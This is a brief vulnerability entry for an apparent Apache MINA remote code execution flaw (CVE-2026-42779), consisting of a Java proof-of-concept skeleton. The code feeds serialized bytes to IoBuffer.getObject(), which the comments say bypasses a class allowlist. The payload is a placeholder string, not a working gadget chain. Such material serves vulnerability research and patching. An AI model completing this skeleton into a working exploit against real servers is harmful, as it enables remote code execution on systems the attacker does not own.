CVE-2026-42779 Apache MINA 远程代码执行漏洞

import org.apache.mina.core.buffer.IoBuffer; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; public class CVE202642779PoC { public static void main(String[] args) { try { // Simulate creating a malicious serialized object (e.g., a gadget chain) ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); // Replace with actual gadget chain payload in a real exploit oos.writeObject("MaliciousPayloadData"); oos.flush(); byte[] data = bos.toByteArray(); IoBuffer buffer = IoBuffer.wrap(data); // The vulnerability lies here: getObject() calls resolveClass() // which bypasses the allowlist for static/primitive branches. Object result = buffer.getObject(); System.out.println("Deserialized: " + result); } catch (Exception e) { e.printStackTrace(); } } }